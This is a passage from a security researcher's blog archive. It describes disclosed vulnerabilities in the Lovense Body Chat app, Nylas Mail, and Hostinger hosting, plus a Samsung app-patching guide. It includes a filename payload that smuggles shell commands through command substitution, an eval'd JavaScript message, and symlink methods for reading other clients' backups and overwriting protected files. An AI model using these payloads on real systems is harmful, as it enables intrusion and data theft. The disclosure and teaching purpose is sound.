<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfao5qHEh4lxPewxatrWhbpv4ZflPOEsmdK4wLiZNERpQMBtHFPrGplcB53JakrOtgnVjYqCso_41v0TaWvn2rV2b_MmOxt5ACTO82kGH3XZbC4I2CzSVSl2K8SXD0-HwP7NvOTfy51YE/s1600/RobotControllerCommands.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="967" data-original-width="1426" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfao5qHEh4lxPewxatrWhbpv4ZflPOEsmdK4wLiZNERpQMBtHFPrGplcB53JakrOtgnVjYqCso_41v0TaWvn2rV2b_MmOxt5ACTO82kGH3XZbC4I2CzSVSl2K8SXD0-HwP7NvOTfy51YE/s320/RobotControllerCommands.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmhd1K4GtHsZkyJf7s7ntTClVo_O8qCgOy9GNetczHii_5GOd2IQAVNbtQI7fQoVxhm1oW4Dc0W8VlshCotWfdrKgCbp5cOYjov9hTPSJ0ZY8trnu2Y2dThlGP-oAY8dnoFBp8CPvKEng/s1600/RobotControllerCases.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1024" data-original-width="1600" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmhd1K4GtHsZkyJf7s7ntTClVo_O8qCgOy9GNetczHii_5GOd2IQAVNbtQI7fQoVxhm1oW4Dc0W8VlshCotWfdrKgCbp5cOYjov9hTPSJ0ZY8trnu2Y2dThlGP-oAY8dnoFBp8CPvKEng/s320/RobotControllerCases.png" width="320" /></a></div>
<br />
<br />
As you can see in the previous images, it is prepared to receive a message with the "type" field equal to "js" in order to execute the JavaScript code provided in the field "content" using "eval". Example:<br />
<pre><code><message to="victim" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"js\\",\\"content\\":\\"alert(1);\\"}"</body><active xmlns="http://jabber.org/protocol/chatstates"/></message>
</code></pre>
<h4 id="bug1badtipsdetectiononchromeextension">
</h4>
<h4 id="bug1badtipsdetectiononchromeextension">
</h4>
<h4 id="bug1badtipsdetectiononchromeextension">
Bug 1. Bad tips detection on Chrome Extension.</h4>
I do not consider it a security issue, but a bug which should be fixed.<br />
To detect if an user have given tokens to a model, the Chrome extension uses the chat events in the website. In certain websites, you do not check correctly if is really a tip or if it is a user message in the chat, so an user can send a chat message with a specific structure in order to trigger the extension and make the toy vibrate. The affected websites are:<br />
<ul>
<li><strong>MyFreeCams</strong>
<ul>
<li>The user just have to send the message: Received a 50 tokens tip from username!</li>
</ul>
</li>
<li><strong>CamSoda</strong>
<ul>
<li>The user just have to send the message: username tipped 15 tokens</li>
</ul>
</li>
</ul>
<br />
<div>
<h3 id="conclusions">
Protect yourself</h3>
If you are a Body Chat user (webcam model), you can protect yourself by following the following steps:<br />
<br />
<ol>
<li>Do not publish the email address you use in your Lovense account. If you published it, create a new account with another email.</li>
<li>Do not use the same username that you use in other services.</li>
</ol>
<br />
<br /></div>
<h3 id="conclusions">
Conclusions</h3>
<br />
It has been very interesting to learn how this devices work, how the Chrome extension and the app work together over Websockets. Once we had an idea about how it works, it was interesting to detect the vulnerabilities.<br />
I think we can extract an important conclusion about this research, internet of thing (in this case sex toys) have too much to do in order to improve their security measures. I am very happy to help a little bit and learn more about information security, which is what I really love to do.<br />
<h3 id="behindthescenes">
</h3>
<h3 id="behindthescenes">
<br /></h3>
<h3 id="behindthescenes">
Behind the scenes</h3>
I have explained how the communication between the Body Chat app and the Chrome Extension works in order to make the toy work. I have also explained the vulnerabilities I found during my research, but maybe you also want to know how I found them, what tools I used. Well, in this section I will try to give you the names of the tools I used and what I did to understand how the app/extension works. :)<br />
<br />
First of all, I downloaded the Body chat app and started to see how it works. I just used the app as a normal user (I created a few accounts, changed profile photo and user info, sent chat messages between my test's accounts..). While I did all this, I had Burp Proxy (<a href="https://portswigger.net/burp/">https://portswigger.net/burp/</a>) configured on my phone in order to see what HTTP requests the app made.<br />
Since I did not have a toy, I did not have anything interesting to test, so I started to see the Chrome Extension. I downloaded it and extracted the ZIP file (<a href="https://es.lovense.com/cam-model/guide/add-extension-manually#noheader">https://es.lovense.com/cam-model/guide/add-extension-manually#noheader</a>). Then, I started to see the source code of the extension. It was obfuscated, so I used http://jsbeautifier.org/ in order to make the code a little more readable. Then, I had to try to understand the code, renaming variables, etc. By doing it I found vulnerability 3, I also understood better how the communication between the app and the extension worked.<br />
Then, I downloaded the APK of the app and used apktool (<a href="https://ibotpeaches.github.io/Apktool/">https://ibotpeaches.github.io/Apktool/</a>) to decompile the app and see how it works. I realized that the app was an Apache Cordova app, so I decided to see if a was able to get an XSS. I tried changing username, photo info, chat messages, etc. In order to do it, I just did a PoC code in Javascript by seeing the protocol of the Websockets requests. It was not difficult :P<br />
<h3 id="moreinfo">
</h3>
<h3 id="moreinfo">
<br /></h3>
<h3 id="moreinfo">
More Info</h3>
I stared this research because I saw this DEFCON 24 conference about sex toys, and I thought it could be interesting to learn about how they works.<br />
<a href="https://www.youtube.com/watch?v=v1d0Xa2njVg">https://www.youtube.com/watch?v=v1d0Xa2njVg</a><br />
<br />
I hope you liked this blog post! See you in the next post!<br />
<br />Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-85583693006011711812017-05-24T18:03:00.001+02:002017-05-24T18:03:59.157+02:00Nylas Mail Command Injection on macOS<br />
Hello!<br />
<br />
Today I am going to talk about a vulnerability I found on Nylas Mail (<a href="https://nylas.com/nylas-mail/">https://nylas.com/nylas-mail/</a>), an open source mail client.<br />
<br />
The vulnerability allows to any malicious user to run any OS command in the victim's computer by sending a special file in the attachments. The name of the attached file should be something like:<br />
$(ls).<br />
<br />
This vulnerability can be found in the source code in the following line: <a href="https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/stores/file-download-store.es6#L327">https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/stores/file-download-store.es6#L327</a> , and as you can see, is related to the thumbails preview feature in macOS. Nylas downloads the attachment and use 'qlmanage' to create a preview of the file.<br />
<br />
The problem is present in the "escapedPath" variable. As you can see, it comes from:<br />
<br />
const filePath = this.pathForFile(file) // (<a href="https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/stores/file-download-store.es6#L311">https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/stores/file-download-store.es6#L311</a>)<br />
<br />
The "pathForFile" function uses the filename by using the function "safeDisplayName" (<a href="https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/models/file.es6#L73">https://github.com/nylas/nylas-mail/blob/8499eb51b3bf07096a37a368b37074de909d1a54/packages/client-app/src/flux/models/file.es6#L73</a>), which is not safe because it doesn’t escape correctly the filename in order to avoid shell command injection.<br />
<br />
The filename is very limited in order to exploit the vulnerability, so we can use multiple attachments in order to create a full exploit for this vulnerability. To do that, we send two files:<br />
<br />
File 1. Called <b>pwn.pdf</b>. It is used to contain the code/commands we want to execute because we cannot use the file name in order to execute any code (it is just a shell script). In the PoC video, this file contains the following content (just to open the calculator):<br />
open /Applications/Calculator.app/<br />
<br />
File 2. This file exploits the vulnerability and executes pwn.pdf. The file name used is:<br />
<b>z$(sleep 5;for f in $(find $HOME$PWD.nylas-mail -name pwn.pdf); do sh $f; done).pdf</b><br />
<br />
With this name, we wait five seconds to ensure that pwn.pdf is downloaded, and then we try to find the file in order to execute it, because each attachment is downloaded in ~/.nylas-mail/[random_folder_name]/attachment_name. Since we cannot use "/" in our filename, we use the $PWN environment var which should be "/". If it isn’t we could use “.” instead of $HOME$PWD.nylas-mail. The execution is much more slow, but it will be finally executed. If we use “.”, the filename should be:<br />
<b>z$(sleep 5;for f in $(find . -name pwn.pdf); do sh $f; done)</b><br />
<br />
The PoC video:<br />
<br />
<br />
<iframe height="480" src="https://drive.google.com/file/d/0B3DBEa0wcJb1cFA4WE9pTmp0MjA/preview" width="640"></iframe><br />
<br />
<br />
This vulnerability has been reported and fixed on version 2.0.32, which was released a few weeks ago.<br />
<br />
I hope you liked this blog post!<br />
See you in the next post, which will be about a few vulnerabilities I discovered in some IoT devices and their remote control apps :P<br />
<br />Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-17070889867957801452017-02-28T12:25:00.000+01:002017-02-28T12:35:56.388+01:00Having fun with symlinks in HostingerHello!!<br />
<br />
Since my last blog post I have been looking for new vulnerabilities in Hostinger in my spare time (I have not had too much :P).<br />
<br />
In this blog post I will speak about two vulnerabilities I found in Hostinger. Both are exploited by using symbolic links.<br />
As you know, symbolic links (symlinks) are files which points to another files, I mean, you can create a symbolic link called “hello” which points to “/etc/passwd”. So, when you try to write in “hello” you are writing to “/etc/passwd”.<br />
<br />
In order to create a symlink in the server I used the “Import Site” feature. It allows to the user to upload a Zip file and it automatically decompress the file in “public_html” directory. I created a symlink in my computer using the command: ln -s /path/to/file symlinkname<br />
And then, I added the symlink to a Zip file using: zip -y data.zip symlinkname.<br />
<br />
The first vulnerability is related to a bad configuration in the server. By using symlinks we are able to read other files in the server, outside of our user home directory (remember that hostinger offers shared hosting plans; multiple users share the same server but using different Linux users with different permissions). We were able to create a symlink to “/“ and use it over FTP in order to browse the server files. One of the most important directories is “/backup”, which stores all the backup files in the server (other clients backups).<br />
I tried to browse “/backup” over FTP, but my user did not have the permissions to do that :)<br />
But, I created the symlink on the “public_html” directory, so I was able to browse the filesystem by using a web browser. Using a web browser I was able to read files that I did not have permission by using FTP, and “/bakcup” and all their files was one of the affected directories I was able to read if I used the web browser. It seems that the Apache user had privileges to read those files.<br />
<div style="color: #454545; font-family: 'Helvetica Neue'; font-size: 12px; line-height: normal; min-height: 14px;">
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2hwwdfh5tiA0C0Z1gSRY1TTAzXujiLCYH9K4uZjYz1GUQ6lusLDjt3e54n6xOSs1bA2AkSG4bMRs7Kc64gwGZNzUaPzaZRDojEcsiazOYkJmmTez5z_BmlAcPS86xdlUlRUuCVEXMAJw/s1600/Captura+de+pantalla+2017-02-23+a+las+12.21.58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2hwwdfh5tiA0C0Z1gSRY1TTAzXujiLCYH9K4uZjYz1GUQ6lusLDjt3e54n6xOSs1bA2AkSG4bMRs7Kc64gwGZNzUaPzaZRDojEcsiazOYkJmmTez5z_BmlAcPS86xdlUlRUuCVEXMAJw/s320/Captura+de+pantalla+2017-02-23+a+las+12.21.58.png" width="320" /></a></div>
<div>
I reported this issue and Hostinger solved it. They also rewarded me with a bounty :)<br />
<br />
After that, I thought that maybe there was a vulnerability which could allow me to write files I did not have permissions to write (like /etc/passwd or similar).<br />
<br />
I used the PHP configuration file “/opt/php.conf.d/USER.ini”, where “USER” is the name of my user in the Linux server. In this configuration file, PHP functions such as “system”, “exec” or “shell_exec” were disabled for security reasons. My objective was to find a way to edit that file and enable these functions. To do that, I tried different tools available on the client area. But only one of them worked fine.<br />
<br />
One of the functions allows to the user to set a password for a directory in the website. It is done by creating/writing a “.htpasswd” file in that folder and writing the password selected by the user. I was able to write any file in the server by using this feature.</div>
<div style="color: #454545; font-family: 'Helvetica Neue'; font-size: 12px; line-height: normal;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIdpHTbj4bopnD_Thk6qhoI5KfKOXt1gYw1pvyFN1s-JsZb0BxrChu7R0byyIGyEliNzFlv8I5mYMTiUDqlD0Sz3Pld-nTnIKZXDJybbZZ3KDczCRCRqXFMYBzO5PKwN2r8kmPo0K8o9c/s1600/Captura+de+pantalla+2017-02-27+a+las+19.36.31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="207" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIdpHTbj4bopnD_Thk6qhoI5KfKOXt1gYw1pvyFN1s-JsZb0BxrChu7R0byyIGyEliNzFlv8I5mYMTiUDqlD0Sz3Pld-nTnIKZXDJybbZZ3KDczCRCRqXFMYBzO5PKwN2r8kmPo0K8o9c/s320/Captura+de+pantalla+2017-02-27+a+las+19.36.31.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
In order to exploit it to write any file in the server, firstly, I created a symlink to the file I wanted to overwrite. The name of the symlink should be “.htpasswd”. And then, as you are thinking, you have to set a password for the directory by using the “Password Protect dirs” feature. This feature seems to execute as root, so it will write in the file pointed by the symlink without problems. After this tool writes on the file, it set proper permissions for the file, so the original file will be readable and writable by our user after that. </div>
<div>
We only have to access by FTP or create a PHP script in order to write whatever we want to the file. </div>
<div>
<br /></div>
<br />
<div>
I reported this vulnerability and they rewarded me with a bounty :)</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
If you want to read more about vulnerabilities on shared hosting servers based on symlinks, you can read this blog post written by @alvaroh5 in fwhibbit: <a href="https://www.fwhibbit.es/symlink-hacking-shared-hosting">https://www.fwhibbit.es/symlink-hacking-shared-hosting</a> </div>
<div>
<br /></div>
<br />Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-23248120800252480032017-02-11T12:57:00.000+01:002017-02-13T20:05:05.231+01:00Command Injection Vulnerability in Hostinger<br />
Hello!<br />
<br />
This is my first blog post in English, and probably next blog posts will be written in English too :)<br />
<br />
Today I am going to speak about a vulnerability I recently found in Hostinger. As the title says, I found a Command Injection vulneravility in Hostinger. This kind of vulnerabilities allow an attacker to execute remote OS commands on the machine.<br />
<br />
I realized that Hostinger has a GIT repository feature which allows you clone a GIT repo and deploy your website using that repo. And yes, here we find the vulnerability. As you should know, you can clone a repository using the following command:<br />
<br />
git clone http://domain/path/to/repo folder<br />
<br />
Their feature uses this command in order to clone the repo, they allow you to provide 3 elements:<br />
<br />
- Repo URL<br />
- Repo branch to be cloned<br />
- folder in which the repo will be cloned<br />
<br />
An attacker was able to use the "folder" input to inject OS commands. By using ";" we were able to close the "git clone" command and inject other commands to be executed. In the following picture you can see the UI of the feature in the Hostinger CPanel, which will break the "git clone" command to finally execute "wget".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVhi7wV5ArFOb-l4v3Q97oph6u1XuhPuooPNQNMVfy-YMvdfo2V2HdZQpxBw_q58np-_ll2hNQQx_HmiEGBBZSJyIrx-ebyJFtFcXZskjAM6_Ty_BiQh4ffWOVbhphc29M8QE3UzhIons/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVhi7wV5ArFOb-l4v3Q97oph6u1XuhPuooPNQNMVfy-YMvdfo2V2HdZQpxBw_q58np-_ll2hNQQx_HmiEGBBZSJyIrx-ebyJFtFcXZskjAM6_Ty_BiQh4ffWOVbhphc29M8QE3UzhIons/s320/1.png" width="320" /></a></div>
<span id="goog_1059453679"></span><span id="goog_1059453680"></span><br />
<br />
I used "wget" to see if the command was being executed by receiving the GET request in <a href="http://requestb.in/">http://requestb.in/</a>. Then I realized that you can see a log output of the deployment and you can see the output of the command execution on it (see picture 2).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_KAqgAzSwDj4-plU0gaerA-cYDVahJp_qQ6JJf_73VLVXMNZTVTCxEU8OAGBXiXStZn2O6cCDqK0oJDFXTq-1ZtOj2w2Cw7ATiJTVmlKiBjWxfLNiy3czZSGtXAn3bYrai3uYqwsYXKY/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_KAqgAzSwDj4-plU0gaerA-cYDVahJp_qQ6JJf_73VLVXMNZTVTCxEU8OAGBXiXStZn2O6cCDqK0oJDFXTq-1ZtOj2w2Cw7ATiJTVmlKiBjWxfLNiy3czZSGtXAn3bYrai3uYqwsYXKY/s320/2.png" width="320" /></a></div>
<br />
<br />
As you can see in the picture, we have a command execution with root permissions... No need to use any other exploit to obtain root permissions. An attacker have all he need in order to use Hostinger server, for example to do DDoS attacks. Or maybe to delete all the data of other clients in the same server (remember that Hostinger is a shared web hosting service ;))<br />
<br />
The vulnerability was reported to Hostinger and fixed in less than 48 hours (good job).<br />
Anyway, I have to say that I did not received any response to my report, so once I realized that the vulnerability was fixed, I wrote another email to ask if the vulnerability was finally fixed and if my vulnerability was elegible for a reward (supposedly they have a bug bounty reward program: <a href="https://www.hostinger.es/politica-divulgacion-responsable">https://www.hostinger.es/politica-divulgacion-responsable</a>).<br />
<br />
Finally I received a response, they appreciate my help but they said "after analyzing the impact of it and we confirmed that a bonus cannot be provided this time."<br />
<br />
So they analyzed the impact of the vulnerability and is not elegible for a reward, OK. I understand that they are the ones who must decide if a vulnerability is or not elegible for a reward, and I accept their decision. But if a vulnerability which allows a malicious user take total control of their servers with root permissions to do whatever he want with the server and the clients data is not elegible for a reward, I don’t know what kind of vulnerability could be more dangerous in order to be elegible for a reward.<br />
<br />
If you have reported some vulnerability to Hostinger, tell us your experience on the comments!<br />
<br />
I hope you like this blog post! :)<br />
I will try to write more frequently here, because I have not written a blog post since September 2016 :S<br />
<br />
You can also follow me on Twitter: <a href="http://twitter.com/alberto__segura">http://twitter.com/alberto__segura</a><br />
<br />
<br />
<b>UPDATE (13-02-2017):</b><br />
<br />
Today the Customer Success manager at Hostinger has written an email saying he has reviewed my case. He has explained why they did not provide a reward for the bug. The git command was running in a Docker container which is created in order to do the deploy and destroyed after that. Even so, they have finally rewarded me with a bounty because they had to fix other issue to prevent additional errors.<br />
<br />
Hostinger, thank you very much for the reward! :)<br />
<br />
And thanks to all who have read and shared this blog post!<br />
<div>
<br /></div>
Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-64645805633493477782016-09-12T12:52:00.001+02:002016-09-12T12:52:40.684+02:00¿Como actualizar un Gear S2 sin un dispositivo Android compatible?<br />
La respuesta corta es: por cojones.<br />
<br />
Antes de nada, decir que después de tanto tiempo sin escribir en el blog, me apetecía contar esto, aunque técnicamente no es demasiado complicado. Quizás a partir de ahora escriba con más frecuencia, ya que, al menos, tengo pensada otra entrada más sobre Yomvi (el nuevo Movistar+).<br />
<br />
Empecemos con esta entrada!<br />
<br />
Hace unas semanas Samsung lanzó su aplicación de administración de su smartwatch, el Gear S2, para iOS. Hacía mucho tiempo que la estaba esperando, así que en cuanto me enteré de que habían lanzado el programa de pruebas, me registré para probarla. Después de ser aceptado e instalar la aplicación, estuve durante un rato intentado sin éxito conectar mi reloj a la aplicación. Entonces, buscando por internet, me di cuenta de que la versión del firmware de mi reloj era demasiado antigua, tan antigua que no era posible actualizarlo por Wifi. Al parecer, el único modo de actualizarlo era utilizando la aplicación de Android, ya que al ser una versión antigua de firmware, esta no era compatible con la app de iOS.<br />
<br />
En este punto, surgen los problemas, ya que no dispongo de ningún dispositivo "compatible" con la aplicación. Los requisitos de la aplicación son:<br />
<br />
<br />
<ol>
<li>Tener una versión de Android mayor o igual a la 4.4</li>
<li>Tener un dispositivo con al menos 1.5GB de RAM</li>
</ol>
<div>
<br /></div>
<div>
Podéis ver <a href="http://www.samsung.com/global/galaxy/gear-s2/device-compatibility/" rel="nofollow" target="_blank">aquí</a> una lista con los dispositivos compatibles.</div>
<div>
<br /></div>
<div>
Como podemos observar, hay una gran cantidad de dispositivos compatibles (notese la ironía).</div>
<div>
<br /></div>
<div>
Bien, como os imaginais, no tengo un dispositivo "compatible", pero si que dispongo de un Xperia M2, que estaba seguro que era igualmente suficiente para utilizar la app.</div>
<div>
<br /></div>
<div>
Visto lo visto, estaba claro que si quería actualizar mi reloj y que sirviese para algo tenía que buscarme la vida por mi cuenta, y eso hice. Lo primero que se me ocurrió fue obtener el APK de la aplicación. Ya que tenía la app instalada, la obtuve de mi dispositivo utilizando ADB. Los comandos necesario para ello son:</div>
<div>
<br /></div>
<div>
adb shell pm list packages</div>
<div>
<br /></div>
<div>
Con el obtendremos la lista de paquetes instalados en nuestro dispositivo. Podemos mejorar el comando si utilizamos: adb shell pm list packages | grep samsung. De esta forma nos aparecerá directamente el paquete que nos interesa, cuyo nombre es: com.samsung.android.app.watchmanager.</div>
<div>
<br /></div>
<div>
El siguiente comando: </div>
<div>
<br /></div>
<div>
adb shell pm path com.samsung.android.app.watchmanager</div>
<div>
<br /></div>
<div>
Que nos devolverá la ruta de nuestro dispositivo en la que podemos encontrar el APK.</div>
<div>
<br /></div>
<div>
Y finalmente usaremos:</div>
<div>
<br /></div>
<div>
adb pull com.samsung.android.app.watchmanager.apk ./destino</div>
<div>
<br /></div>
<div>
Para descargar el APK en la carpeta "destino".</div>
<div>
<br /></div>
<div>
Con esto, ya tendremos en nuestro PC el APK de la aplicación. El siguiente paso es utilizar una herramienta para descompilar el APK y obtener los ficheros de código Smali. Para ello, yo he utilizado apktool, en su versión 2.0.3 (podéis descargar su última versión en: https://ibotpeaches.github.io/Apktool/). Para descompilar simplemente es necesario utilizar el siguiente comando:</div>
<div>
<br /></div>
<div>
java -jar apktool.jar d com.samsung.android.app.watchmanager.apk</div>
<div>
<br /></div>
<div>
Una vez ejecutado, nos generará una carpeta con todos los recursos de la aplicación, incluyendo lo que nos interesa, el código Smali. </div>
<div>
<br /></div>
<div>
Después de un rato mirando el código, nos daremos cuenta que existe una clase llamada "HostManagerUtils", que contiene un método que parece interesante: isSupportedInHostDevice. Efectivamente, este método devuelve true o false (1 ó 0) en función de si el dispositivo es compatible o no, es decir, si cumple los requisitos anteriormente indicados. </div>
<div>
<br /></div>
<div>
Llegados a este punto, existen dos opciones en función de las posibilidades de vuestro dispositivo:</div>
<div>
<br /></div>
<div>
<ol>
<li>Si está rooteado, utilizar alguna herramienta que permita hookear funciones, de modo que podamos modificar durante la ejecución el resultado de esta función. En mi caso he utilizado Frida (http://frida.re/)</li>
<li>Si no está rooteado, modificar el código Smali para que siempre devuelva verdadero.</li>
</ol>
<div>
<br /></div>
</div>
<div>
Yo utilicé Frida, puesto que mi dispositivo estaba rooteado y es más rápido que compilar la aplicación e instalarla, sobretodo la primera vez, cuando lo que queremos es comprobar si realmente esa función hace lo que parece. El script de Frida que he utilizado lo dejo <a href="https://gist.github.com/segura2010/3d51bef4a64e4802384ab6eec96fd303" rel="nofollow" target="_blank">aquí</a>. Podéis utilizar la documentación de Frida para ver como se instala y como utilizar Frida en vuestro dispositivo (http://frida.re/docs).</div>
<div>
<br /></div>
<div>
Para la segunda opción, necesitaremos modificar el código, compilar e instalar de nuevo la aplicación. Como podemos observar en el código de la función "isSupportedInHostDevice", esta es bastante extensa, puesto que comprueba la cantidad de RAM y versión del sistema operativo. Nuestra modificación será realmente simple, al comienzo devolveremos directamente verdadero, y ya está.</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXmzLhGrm-928B7XME5MsRD80O7TvYPvk5XhJ4ksb-Toku_X91NLRuKC0qdN_1eUv5i1JS8LqvsFsuRYXadypy6fcgJEk68TTTSJhe4xlyydk3jR1IcNSMKqDmoV763RZRYnC3CQKlFfY/s1600/Captura+de+pantalla+2016-09-12+a+las+12.30.07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXmzLhGrm-928B7XME5MsRD80O7TvYPvk5XhJ4ksb-Toku_X91NLRuKC0qdN_1eUv5i1JS8LqvsFsuRYXadypy6fcgJEk68TTTSJhe4xlyydk3jR1IcNSMKqDmoV763RZRYnC3CQKlFfY/s320/Captura+de+pantalla+2016-09-12+a+las+12.30.07.png" width="320" /></a></div>
<br /></div>
<div>
<br />
Como vemos en la imagen, al inicio he modificado la inicialización de v0, para que en lugar de inicializarse a 0 (false) se inicialice a 1 (true), e inmediatamente después devuelvo v0. Con esto siempre se devuelve verdadero.<br />
<br />
Ahora solamente resta compilar, firmar e instalar. Para compilar, utilizaremos de nuevo apktool, en este caso utilizaremos el comando (en el directorio en el que nos ha descompilado la app):<br />
<br />
java -jar apktool.jar b -f -d .<br />
<br />
Con esto nos construirá un nuevo APK en el directorio "dist". Antes de instalar ese APK, necesitaremos firmarlo. Para ello, usaremos la herramienta signapk (disponible <a href="https://github.com/appium/sign" rel="nofollow" target="_blank">aquí</a>), con el siguiente comando:<br />
<br />
signapk.jar testkey.x509.pem testkey.pk8 dist/com.samsung.android.app.watchmanager-1.apk dist/com.samsung.android.app.watchmanager-1.signed.apk<br />
<br />
Como vemos, se pasan como parámetro los dos ficheros de clave para firmar el APK. Estos ficheros son los que lleva para probar signapk, recomiendo utilizarlos por simplicidad.<br />
<br />
Con esto, tendremos un APK firmado y listo para usar. A continuación instalamos con el siguiente comando:<br />
<br />
adb install dist/com.samsung.android.app.watchmanager-1.signed.apk<br />
<br />
Y una vez instalado tendremos la aplicación en nuestro dispositivo, lista para iniciar y actualizar nuestro reloj.<br />
<br />
En mi caso, funcionó así sin problemas, pero existe una función llamada "isSamsungDeviceWithCustomBinary" que comprueba si la aplicación ha sido modificada. En principio no detecta esta modificación, pero por si acaso, se puede modificar de igual forma que hemos hecho con la que comprueba si el dispositivo es compatible. En este caso nos interesa que siempre devuelva 0 (false), que significa que la aplicación no ha sido modificada. Por tanto, introduciremos al comienzo de la función lo mismo que antes excepto el valor de v0, que será 0 en este caso:<br />
<br />
const/4 v0, 0x0<br />
return v0<br />
<br />
<br />
Y después de todo esto, ya podremos utilizar nuestro Gear S2 con nuestro dispositivo Android.<br />
<br />
ADVERTENCIA: No me hago responsable de cualquier daño sufrido por vuestro teléfono o reloj. Haz esto bajo tu propia responsabilidad.<br />
<br />
No es nada complicado, ni muy técnico, pero me parecía interesante compartirlo, puesto que seguramente haya alguien al que le pueda resultar útil.<br />
<br />
Con esto me despido hasta la próxima, que espero sea pronto y sea explicando algunas curiosidades de la app de Yomvi (ahora Movistar+) ;)</div>
Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com2tag:blogger.com,1999:blog-2920363949461002743.post-6646826759310070252014-05-10T18:11:00.001+02:002014-05-10T18:11:25.265+02:00Vulnerabilidad Hostinger [0Day?]Después de mucho tiempo sin escribir nada, hoy he sacado un hueco. Por que creo que lo que voy a contar hoy puede ser muy interesante.<br />
<br />
Como bien dice el título, hoy vamos a hablar sobre Hostinger y una vulnerabilidad de seguridad (probablemente un 0day) presente en la mayoría de webs alojadas en este hosting.<br />
La vulnerabilidad es muy fácil de aprovechar, de hecho, me parece un fail tremendo, una chapuza..<br />
<br />
El caso es que mientras miraba un par de cosas en una web para pruebas que tengo en este hosting, me pregunté, ¿Como funciona el FileManager? Si habéis usado algún hosting, sabréis que permiten subir, modificar y borrar archivos desde una interfaz web, generalmente llamada FileManager o Administrador de Archivos en español.<br />
El caso es que si nos fijamos en como funciona, podemos ver que no son más que peticiones GET o POST, pero, ¿a donde? Pues depende del FileManager que usemos.. Con Hostinger puedes usar dos FileManager distintos, si usas el que te ponen como principal, eres vulnerable, aunque solo lo hayas usado una vez. ¿Por que? Por que el filemanager se "instala" en tu carpeta de hosting web, como los archivos que subes para tu web.<br />
Como podemos ver en la siguiente imagen, es una carpeta como cualquier otra en nuestro hosting (Imagen obtenida con el Filemanager 2)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0gmCy2t6U5N9Kib-QdBlaIqtacsHmXH94InCXjngsvJMFfsb-_ECjInIdMc9k5WKvuxRA4CnWFRPgTJZgOYwoEiaG7g1ChPvFlu2nr_ocHTTZ-t-5JcOJMy70PkZUJTY9KixL9-lPMU0/s1600/Captura+de+pantalla+2014-05-10+a+la(s)+17.47.47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0gmCy2t6U5N9Kib-QdBlaIqtacsHmXH94InCXjngsvJMFfsb-_ECjInIdMc9k5WKvuxRA4CnWFRPgTJZgOYwoEiaG7g1ChPvFlu2nr_ocHTTZ-t-5JcOJMy70PkZUJTY9KixL9-lPMU0/s1600/Captura+de+pantalla+2014-05-10+a+la(s)+17.47.47.png" height="184" width="320" /></a></div>
<br />
Con esto, ya os imagináis como funciona el FileManager.. Básicamente se realizan peticiones a los scripts de esta carpeta para crear, modificar o borrar ficheros de nuestro hosting.<br />
Lo bonito es que no hay ningún tipo de control sobre estas peticiones, es decir, no se usan cookies, ni nada que puedas imaginar para controlar que el que realiza la petición para gestinar el hosting sea realmente el dueño.<br />
<br />
Algunas de las peticiones son:<br />
Para abrir directorios:<br />
